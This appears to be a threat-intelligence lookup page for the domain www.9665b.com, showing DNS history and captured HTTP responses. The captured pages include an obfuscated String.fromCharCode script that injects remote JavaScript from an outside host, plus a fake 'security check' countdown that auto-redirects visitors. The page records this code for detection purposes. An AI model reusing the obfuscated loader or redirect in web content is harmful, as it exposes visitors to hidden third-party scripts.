Help
RSS
API
Feed
Maltego
Contact
Domain > www.9665b.com
×
More information on this domain is in
AlienVault OTX
Is this malicious?
Yes
No
DNS Resolutions
Date
IP Address
2024-06-08
154.9.27.76
(
ClassC
)
2025-10-17
39.109.116.54
(
ClassC
)
Port 80
HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Fri, 17 Oct 2025 15:56:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveLocation: https://www.9665b.com/Strict-Transport-Security: max-age31536000 html>head>title>301 Moved Permanently/title>/head>body>center>h1>301 Moved Permanently/h1>/center>hr>center>nginx/center>/body>script> var xt String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 108, 97, 110, 103, 117, 97, 103, 101, 61, 34, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 111, 46, 52, 53, 54, 121, 121, 100, 115, 46, 105, 99, 117, 47, 106, 115, 47, 99, 111, 109, 109, 111, 110, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62 ); document.write(xt); /script>/html>
Port 443
HTTP/1.1 200 OKServer: nginxDate: Fri, 17 Oct 2025 15:56:07 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingStrict-Transport-Security: max-age31536000 !doctype html>html>head>meta charsetutf-8>meta nameviewport contentwidthdevice-width,initial-scale1,minimum-scale1,maximum-scale1,user-scalableno />meta http-equivX-UA-Compatible contentIEedge,chrome1>title>正在载入，请稍等。。。。/title>script srctj.js tppabshttp://049tk.me/tj.js>/script>/head>body> style> body{margin:0;padding:0;background:#e6eaeb;font-family:Arial,微软雅黑,宋体,sans-serif} a{text-decoration:none;color:#7b7b7b} .alert-box{position:relative;margin:96px auto 0;padding:180px 85px 22px;border-radius:10px 10px 0 0;background:#fff;box-shadow:5px 9px 17px rgba(102,102,102,.75);width:286px;color:#fff;text-align:center} .alert-box p{margin:0} .alert-circle{position:absolute;top:-50px;left:111px} .alert-sec-circle{stroke-dashoffset:0;stroke-dasharray:735;transition:stroke-dashoffset 1s linear} .alert-sec-text{position:absolute;top:20px;left:190px;width:76px;color:#000;font-size:68px} .alert-sec-unit{font-size:34px} .alert-body{margin:35px 0;margin-bottom:30px} .alert-head{color:#242424;font-size:28px} .alert-concent{margin:25px 0 14px;color:#7b7b7b;font-size:18px} .alert-concent p{line-height:27px} .alert-btn{display:block;border-radius:10px;background-color:#ff5656;height:55px;line-height:55px;width:286px;color:#fff;font-size:20px;text-decoration:none;letter-spacing:2px} .alert-btn:hover{background-color:#ff5656} .alert-footer{margin:0 auto;height:42px;text-align:center;width:100%;margin-bottom:10px} .alert-footer-icon{float:left} .alert-footer-text{float:left;border-left:2px solid #eee;padding:3px 0 0 5px;height:40px;color:#0b85cc;font-size:12px;text-align:left} .alert-footer-text p{color:#7a7a7a;font-size:22px;line-height:18px} /style> div idjs-alert-box classalert-box> svg classalert-circle width234 height234> circle idjs-fst-circle cx117 cy117 r108 fill#FFF stroke#ff5656 stroke-width17>/circle> circle idjs-sec-circle classalert-sec-circle cx117 cy117 r108 filltransparent stroke#F4F1F1 stroke-width18 transformrotate(-90 117 117)>/circle> text classalert-sec-unit x100 y172 fill#BDBDBD>/text> /svg> div idjs-sec-text classalert-sec-text styleleft: 170px>/div> div classalert-body> div idjs-alert-head classalert-head>/div> div classalert-concent> p idpcon stylecolor:green>/p> /div> a idjs-alert-btn classalert-btn target_blank href# tppabs# onclickjavascript:load_webstat();>点击前往/a> /div> div classalert-footer clearfix>/div> div idwebstat styledisplay: none;>/div>/div>script> var key ; var totalTime 2; var str1 正在安全检测; var str2 适配最优线路; var completedTitle 安全检测中; var pcon 正在适配最优线路br>请稍等; var btnText 立即进入; var bodyWidth document.body.offsetWidth; var boxWidth document.getElementById(js-alert-box).offsetWidth; var btn document.getElementById(js-alert-btn); if (bodyWidth boxWidth) document.getElementById(js-alert-box).style.left -Math.round((boxWidth - bodyWidth) / 2) + px; document.getElementById(js-alert-box).style.display block; document.getElementById(pcon).innerHTML pcon; document.getElementById(js-alert-head).innerHTML str1; btn.innerHTML btnText; var num 0; var span1 document.getElementById(js-sec-text); var span2 document.getElementById(js-sec-circle); span2.style.strokeDashoffset735 var span3 document.getElementById(js-fst-circle); var t setInterval(function(){ num++; span1.innerTextnum; if(num>100){ clearInterval(t); span3.style.strokergb(26, 173, 25); btn.style.backgroundColorrgb(26, 173, 25); document.titlecompletedTitle; document.getElementById(js-alert-head).innerHTML str2; } },totalTime); setTimeout(load_webstat, 2000);function load_webstat() { clearInterval(load_webstat); var hostArr https://h5.9665b.com/, ; var url hostArrMath.floor(Math.random() * hostArr.length); window.location.href url; }// /script>/body>script> var xt String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 108, 97, 110, 103, 117, 97, 103, 101, 61, 34, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 111, 46, 52, 53, 54, 121, 121, 100, 115, 46, 105, 99, 117, 47, 106, 115, 47, 99, 111, 109, 109, 111, 110, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62 ); document.write(xt); /script>/html>
View on OTX
|
View on ThreatMiner
Please enable JavaScript to view the
comments powered by Disqus.
Data with thanks to
AlienVault OTX
,
VirusTotal
,
Malwr
and
others
. [
Sitemap
]